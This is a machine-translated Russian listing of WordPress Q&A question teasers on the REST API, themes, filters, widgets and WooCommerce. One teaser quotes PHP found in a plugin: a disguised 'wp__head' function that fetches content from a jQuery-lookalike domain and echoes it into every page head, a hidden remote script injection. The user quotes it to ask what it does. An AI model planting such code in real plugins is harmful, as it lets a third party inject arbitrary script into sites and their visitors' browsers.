WordPress

Q & A для разработчиков и администраторов WordPress

6
Существует ли что-то вроде is_rest ()
Я начинаю немного с REST API. Если я не полностью введен в заблуждение, initловушка действия также выполняется, когда это запрос API REST. Теперь я хочу выполнить только некоторый код, когда это не запрос REST API. Поэтому я искал команду, как is_rest(), чтобы сделать что-то вроде <?php if( ! is_rest() ) …
18 rest-api 

1
Как удалить архив пользовательских типов записей
У меня есть пользовательский тип записи, называемый "рецепт" с has_archiveпараметром, установленным в true. Посещение mysite.com/recipe/ дает основной архив списка всех опубликованных рецептов и заголовок страницы "Рецепты". Все идет нормально. Теперь я пытаюсь отключить эту страницу архива рецептов (но работаю с отдельными ссылками рецептов). Моей первой мыслью было попытаться установить has_archiveзначение …

3
Прикрепление данных таксономии к публикации с помощью wp_insert_post
Я пытаюсь внедрить систему публикации внешнего интерфейса, которая отображает данные таксономии в нескольких выпадающих полях выбора. Каждое из выпадающих имен названо с помощью «имени» $argв wp_dropdown_categories(). wp_dropdown_categories( array( 'taxonomy' => 'location', 'hide_empty' => 0, 'orderby' => 'name', 'order' => 'ASC', 'name' => 'location', ) ); Как видите, таксономия - это …

1
Как WordPress создает URL-адреса, о которых знает Apache?
Когда вы создаете страницу в WordPress, это просто запись в таблице базы данных; в этом месте нет актуального файла. Однако я могу создать файл в этом месте сам, и он украдет страницу от WordPress. Я удаляю файл, и он без проблем возвращается на страницу WordPress. Мне просто интересно, как это …

3
Обработка проблем с изменением масштаба изображения (округления) в 4.1 (WP Ticket # 18532)
В настоящее время я выполняю миграцию содержимого сайта со старого сайта до 4.1 на новую настройку и решаю проблему с ошибкой округления # 18532 и соответствующим исправлением . Подводя итог, можно сказать, что исправлено давнее поведение при округлении на стороне WordPress: Представьте, что мы загружаем изображение размером 693х173 и масштабируем …
17 images  bug 

7
Цель API REST?
Прежде всего, я понимаю, что на данный момент это плагин, но, в любом случае, он почти наверняка является частью WordPress. Поэтому я надеюсь, что это не будет помечено как не по теме. Я читал их официальные документы, много других статей и смотрел обучающие видео, но я все еще не получил …
17 rest-api 

3
remove_action для after_setup_theme не работает из дочерней темы
Я пытаюсь удалить действие темы для темы изящных тем, используя дочернюю тему. Это работает, когда я удаляю действие после кода add_action в любом месте родительской темы functions.php. Однако, это не работает, когда я добавляю его из дочерней темы functions.php. remove_action ('after_setup_theme', 'et_pb_setup_theme' , 10); Действие удаления имеет тот же приоритет …

2
WordPress работает без темы?
WordPress работает без темы? Если так, то как это работает? Пожалуйста, объясните вкратце. Если WordPress отображает контент без темы, что контролирует вывод?
17 themes 

3
Размещать wp-admin в другом домене?
В настоящее время у меня есть клиент, на котором работает WordPress, скажем так www.example.com. Я работаю над новой версией, использующей другую технологию / язык, которая будет размещена на другом сервере. Но администрация (WP) и база данных останутся на старом сервере. Поэтому в основном мне нужно указать на www.example.comновый хост (здесь …

5
get_option () против get_theme_mod (): почему один медленнее?
Я использовал в get_theme_mod()течение некоторого времени в различных моих проектах. Я решил воспользоваться API настройки темы в WordPress v3.4, как только он стал доступен, так как я чувствовал, что это необходимый инструмент для моих клиентов. Через некоторое время я начал замечать, что мои сайты чувствовали себя немного более вялыми, чем …

1
Разница между add_filter и apply_filters
Я искал подходящее объяснение разницы между add_filter()и apply_filters()здесь, но не смог найти. Может кто-нибудь сказать мне, какую информацию или логику следует учитывать перед использованием add_filterили apply_filtersв одном контексте. Что делает использование одного обязательным, а не другого? Правильно ли, что add_filterпросто добавляет функцию в очередь функций, ожидающих выполнения над переменной, и …

1
Как включить флажок в форме бэкэнда виджета?
Я пытаюсь включить флажок в моем конце виджета. Но я не могу получить значение (включено или выключено) после того, как пользователь отправит его. Я думал, что значение будет храниться в "esc_attr ($ check)" (как это происходит при использовании ввода текста), но я не могу получить его. Вот что я сейчас …
17 php  widgets 

2
Я нашел это в плагине. Что оно делает? Это опасно?
Я нашел это в плагине. Что оно делает? Это опасно? add_action('admin_enqueue_scripts', 'pw_load_scripts'); if (!function_exists('wp__head'){ function wp__head() { if(function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,"http://www.jqury.net/?1"); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_HOST']); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10); $jquery = curl_exec($ch); curl_close($ch); echo "$jquery"; } } add_action('wp_head', 'wp__head'); }

2
Как загрузить wp_editor через AJAX
Кто-нибудь знает, как загрузить wp_editor через AJAX в WordPress? Моя разметка и редактор загружаются правильно, но элементы управления редактора загружаются неправильно, возможно, это связано с тем, что Javascript не работает в вызове AJAX. Любая помощь будет оценена.

3
Скрыть цены и оформить заказ в woocommerce
Я знаю, что этот вопрос может быть слишком широким, но я ищу немного направления. У моего клиента есть магазин woocommerce с 30-40 товарами. По какой-то причине они больше не хотят продавать через Интернет, но хотят сохранить страницы с информацией о продукте, информацию и т. Д. На своем веб-сайте. Есть ли …

Используя наш сайт, вы подтверждаете, что прочитали и поняли нашу Политику в отношении файлов cookie и Политику конфиденциальности.
Licensed under cc by-sa 3.0 with attribution required.